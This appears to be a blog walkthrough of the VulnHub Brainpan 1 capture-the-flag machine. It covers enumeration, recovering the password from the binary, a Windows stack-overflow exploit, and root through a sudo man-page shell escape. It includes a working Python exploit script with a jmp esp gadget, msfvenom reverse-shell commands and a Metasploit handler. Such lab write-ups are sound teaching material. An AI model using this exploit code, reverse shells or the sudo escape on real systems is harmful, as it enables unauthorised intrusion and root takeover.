Machine link: https://www.vulnhub.com/entry/brainpan-1,51/
I really enjoyed this machine, but mainly the exploitation part of it.
Since this is a boot2root, our goal is to get root on it and we’re good to go.
This one is also shown as being good for OSCP practice in this article, so let’s get started.
Table of Contents
- Port Scanning
- Enumeration
- Little Reverse Engineering
- Exploitation
- Getting a “proper” shell
- Privilege escalation
Let’s begin to find its IP:
root@kali:~/Vulnhub/Brainpan# netdiscover -r 10.0.0.0/8 Currently scanning: 10.0.2.0/8 | Screen View: Unique Hosts 4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 10.0.2.1 52:54:00:12:35:00 1 60 Unknown vendor 10.0.2.2 52:54:00:12:35:00 1 60 Unknown vendor 10.0.2.3 08:00:27:09:7c:bd 1 60 PCS Systemtechnik GmbH 10.0.2.16 08:00:27:09:f6:24 1 60 PCS Systemtechnik GmbH
10.0.2.16 is the one we want (the others refer to VirtualBox).
Keep in mind that you don’t need to include the subnet range you want to scan, I just include it to fasten the scan.
Port Scanning
Now it’s time to do some port scanning, along with service and script scanning.
(meaning that nmap will use generic scripts according to the services it gets from service scan)
root@kali:~/Vulnhub/Brainpan# nmap -p- -sC -sV -sT -T5 -v -oN nmap.results 10.0.2.16 Not shown: 65533 closed ports PORT STATE SERVICE VERSION 9999/tcp open abyss? | fingerprint-strings: | NULL: | _| _| | _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| | _|_| _| _| _| _| _| _| _| _| _| _| _| | _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| | [________________________ WELCOME TO BRAINPAN _________________________] |_ ENTER THE PASSWORD 10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
A quick reminder that if you don’t know how to use a certain tool you can use “man toolname” to check its usage and available parameters.
It’s interesting that the author of this Vulnhub used python’s SimpleHTTPServer module instead of the usual apache.
We can see that nmap shows some unusual output on port 9999, we can speculate that it’s a binary made by the author and we’re supposed to exploit it.
Enumeration
Let’s investigate further on netcat.
root@kali:~/Vulnhub/Brainpan# nc 10.0.2.16 9999 _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| [________________________ WELCOME TO BRAINPAN _________________________] ENTER THE PASSWORD >>
My first attempt was to try root password but got denied.
>> root ACCESS DENIED
Now it’s time to try some format string exploitation. (LiveOverflow explains it well on his exploitation series)
Tried %s, %x and %x%x but that didn’t give a different result.
EDIT: A guy from hackers.gg(SubtlePropaganda) actually told me that it was pretty useless to test format string payloads since it doesn’t echo back our input and that’s actually right, my bad :P.
Right now this is pure black-box exploitation because we don’t even have the binary to reverse engineer or source code to review, my first thought was to crack it with a wordlist like rockyou.txt.
However, cracking services don’t tend to be the approach needed in challenges.
Instead, I decided to analyze the port 10000.
Navigating to http://10.0.2.16:10000/ on firefox showed a long image regarding safe coding, most likely hinting that the binary on port 9999 is vulnerable.
Time to discover other folders and files on the web server, for this, I’ll use dirbuster:
I choose dirbuster over dirb simply because dirbuster allows multi-threading which makes scanning a lot quicker.
Notice that I excluded php from the “File extension” field because we’re dealing with a python web server so there’s no reason for it to have a php file. (but hey we never know)
It found:
/ /bin/ /index.html
We can already judge what /bin/ contains.
Now, this is more of a gray-box testing since we now have the binary to reverse engineer.
Notice the fact that it’s a .exe in Linux, so it’s likely that the machine is using Wine.
Little Reverse Engineering
Being a Windows binary, I decided to take a look at it in IDA Pro.
The binary contains the following strings:
Judging by “ACCESS DENIED\n”, this is the binary listening on port 9999.
But… Do you notice one interesting string?
Double click and then go to the address that is referencing it.
Double click on the DATA XREF.
The function is called get_reply and it’s issuing a strcmp against the first argument and “shitstorm\n”, it’s just obvious that this is the password.
Let’s give it a try.
root@kali:~/Vulnhub/Brainpan# nc 10.0.2.16 9999 _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| [________________________ WELCOME TO BRAINPAN _________________________] ENTER THE PASSWORD >> shitstorm ACCESS GRANTED
Yay! We’re in. Wait… In what?
This is just useless since we get an “ACCESS GRANTED” and that’s really it.
Exploitation
Time to pwn with binary exploitation skills, this is where the fun(and frustration) come in this machine.
I got heated up as this is a Windows binary and I have only pwn’ed Linux ones.
Not feeling like reverse engineering the way it receives our input, I decided to just try and overflow the buffer.
But I want to debug this, so what I’ll do is:
- Open up x64dbg(my favorite Windows debugger ♥).
- Open the binary with x64dbg.
- Create a pattern that allows me quickly know the number of characters we need to overflow the buffer, using pwntools.
root@kali:~/Vulnhub/Brainpan# python Python 2.7.14+ (default, Dec 5 2017, 15:17:02) [GCC 7.2.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> cyclic(1024) 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak' >>>
pwntools calls pattern as cyclic.
Now let’s connect to my machine’s brainpan.exe and send this cyclic.
Switched my Kali virtual machine to Bridged Mode to be able to connect to my host machine.
root@kali:~/Vulnhub/Brainpan# nc 192.168.1.69 9999 _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| [________________________ WELCOME TO BRAINPAN _________________________] ENTER THE PASSWORD >> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak
We got the terminal hanging so nice, we got a crash! (this phrase is probably only used by exploit developers)
Debug time, let’s quickly check the EIP we got.
We can see that it only copied 1003 bytes, our payload had 1024, on the bottom we can also see that it got an EXCEPTION_ACCESS_VIOLATION.
The EIP is 0x66616167.
Converting to ASCII(with asciitohex.com) that’s ‘faag’, but that’s in little endian, converting to big endian gives ‘gaaf’. (See here what endianess mean)
Now let’s see what’s that in offset.
>>> cyclic_find('gaaf') 524
We can already start writing the script to exploit this, adding 524 as the number of fill characters to reach EIP.
But let’s first check if DEP is enabled, to see if we can jump to the stack. (NX on Linux)
For this, I’m going to use DIE, Detect It Easy.
Disabled, this is going to be easy.
The plan here is to have the stack hold a shellcode that gets us a reverse shell and get it executed by making the EIP point to our stack.
First I begin by choosing the shellcode we’ll be using since we’re dealing with Windows I decide to use msfvenom.
root@kali:~/Vulnhub/Brainpan# msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.77 -e x86/shikata_ga_nai -b '\x00' -f python --smallest -v shellcode No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 308 (iteration=0) x86/shikata_ga_nai chosen with final size 308 Payload size: 308 bytes Final size of python file: 1664 bytes shellcode = "" ...
By default, the LPORT of the reverse tcp payload is 4444.
I used the x86/shikata_ga_nai to handle our bad character “0x00”, specified in the -b argument, we can’t use the null byte in this case because the binary is using _mbscpy, which operates on null-terminated strings.
In case you don’t know, msf encoders aren’t meant for antivirus evasion, just to handle bad characters. Source: https://blog.rapid7.com/2012/12/14/the-odd-couple-metasploit-and-antivirus-solutions/
Speaking of bad characters, if you take a close look at the registers view in x32dbg, you can see that our ESP address has a null byte.
But shouldn’t be an issue, we just need to grab a gadget.
A gadget is simply a set of instructions followed by a ret, in this case, we want one that will jump to ESP.
To find gadgets, I tend to use ROPgadget.
root@kali:~/Vulnhub/Brainpan# ROPgadget --binary brainpan.exe Gadgets information ============================================================ ... 0x311712f3 : jmp esp ... Unique gadgets found: 150
We just need the jmp esp.
We have the gadget and the shellcode so now it’s time to write the exploit script.
import socket import struct sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('192.168.1.69', 9999)) # our machine to debug #sock.connect(('10.0.2.16', 9999)) # brainpan machine JMP_ESP = 0x311712f3 shellcode = "" shellcode += "\xbd\x67\x82\x22\x2a\xdd\xc2\xd9\x74\x24\xf4\x58" ... payload = 'A' * 524 payload += struct.pack("I", JMP_ESP) # encode the int payload += shellcode payload += '\n' sock.send(payload) print(sock.recv(2048))
Let’s test it out.
Aaaaaand it crashed.
I got pretty confused, I had never used msf payloads for exploitation and I even read other walkthroughs on this machine but all used a nop slide which to be fair didn’t make sense to me since we knew exactly what was the ESP address.
Until I proceeded to single step in the shellcode and notice this instruction:
So… ESP points to 0x0028F920, and that instruction is, according to Intel’s manual, storing the FPU operating environment to [esp-0xC], so this is overwriting our instructions!
We can check this by single-stepping the instruction:
This is why we need to use a nop slide.
However, I decided to just move the ESP up a bit, doing so:
shellcode += "\x83\xEC\x20" # sub esp, 0x20 <--- because the shellcode overwrites the beginning of the stack
Put this after declaring the shellcode and before the first instruction of it, as this must be the first instruction to be executed.
Now, before testing it, I’m going to start an msf handler to listen for the reverse shell:
root@kali:~/Vulnhub/Brainpan# msfconsole -q msf > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/shell/reverse_tcp payload => windows/shell/reverse_tcp msf exploit(multi/handler) > set LHOST 192.168.1.78 LHOST => 192.168.1.78 msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.78:4444
We run the exploit and got a shell!
Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Users\AdvSpyL3n\Documents\CTF\Brainpan>
So now change the IPs and re-generate the shellcode to exploit the brainpan machine.
CMD Version 1.4.1 Z:\home\puck>
There we go! Notice the version of the cmd? This is because we’re inside Wine, as I stated before, the binary is Windows in a Linux machine.
Getting a “proper” shell
We can assure this by checking the root folder:
Z:\>dir Volume in drive Z has no label. Volume Serial Number is 0000-0000 Directory of Z:\ 3/4/2013 1:02 PM bin 3/4/2013 11:19 AMboot 3/25/2018 6:43 PMetc 3/4/2013 11:49 AMhome 3/4/2013 11:18 AM 15,084,717 initrd.img 3/4/2013 11:18 AM 15,084,717 initrd.img.old 3/4/2013 1:04 PMlib 3/4/2013 10:12 AMlost+found 3/4/2013 10:12 AMmedia 10/9/2012 9:59 AMmnt 3/4/2013 10:13 AMopt 3/7/2013 11:07 PMroot 3/25/2018 5:53 PMrun 3/4/2013 11:20 AMsbin 6/11/2012 9:43 AMselinux 3/4/2013 10:13 AMsrv 3/25/2018 5:55 PMtmp 3/4/2013 10:13 AMusr 3/7/2013 11:13 PMvar 2/25/2013 2:32 PM 5,180,432 vmlinuz 2/25/2013 2:32 PM 5,180,432 vmlinuz.old 4 files 40,530,298 bytes 17 directories 13,849,890,816 bytes free
Let’s see if we can get ourselves a Linux shell.
I tried to run Z:/bin/sh and this happened…
Z:\>bin/sh Z:\>ls File not found. Z:\>ls bin boot dev etc home initrd.img initrd.img.old lib lost+found media mnt opt proc root run sbin selinux srv sys tmp usr var vmlinuz vmlinuz.old ls File not found. Z:\>
It seems to alternate between sh and Windows cmd, what?!
I typed exit in the sh and decided to change the shellcode to a Linux one.
msf exploit(multi/handler) > set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 10.0.2.15:4444
root@kali:~/Vulnhub/Brainpan# msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.0.2.15 -e x86/shikata_ga_nai -b '\x00' -f python --smallest -v shellcode
And it worked! (I honestly wasn’t sure it was going to)
ls checksrv.sh web whoami puck
Privilege escalation
Privilege escalation time!
After looking around, I checked sudo -l showed something interesting:
sudo -l Matching Defaults entries for puck on this host: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User puck may run the following commands on this host: (root) NOPASSWD: /home/anansi/bin/anansi_util
Let’s check this binary.
sudo /home/anansi/bin/anansi_util Usage: /home/anansi/bin/anansi_util [action] Where [action] is one of: - network - proclist - manual [command]
Looking at this I already saw what was the vulnerability. Check this: https://superuser.com/questions/521399/how-do-i-execute-a-linux-command-whilst-using-the-less-command-or-within-the-man
For this, we need to spawn a pseudo-tty(we don’t need a full-tty) otherwise it will just show the manual and exit.
I’ll use my favorite python method stated here: https://netsec.ws/?p=337.
python -c 'import pty; pty.spawn("/bin/sh")' $ sudo /home/anansi/bin/anansi_util manual ifconfig sudo /home/anansi/bin/anansi_util manual ifconfig No manual entry for manual WARNING: terminal is not fully functional - (press RETURN)
Now we type
!/bin/sh # whoami whoami root
And we got it, woot!
What theme are you using theme in x64dbg ?
LikeLike
Acid Lime https://github.com/x64dbg/x64dbg/wiki/Stylesheets
or
https://github.com/x64dbg/x64dbg/wiki/Color-Schemes
Happy Hacking!
LikeLike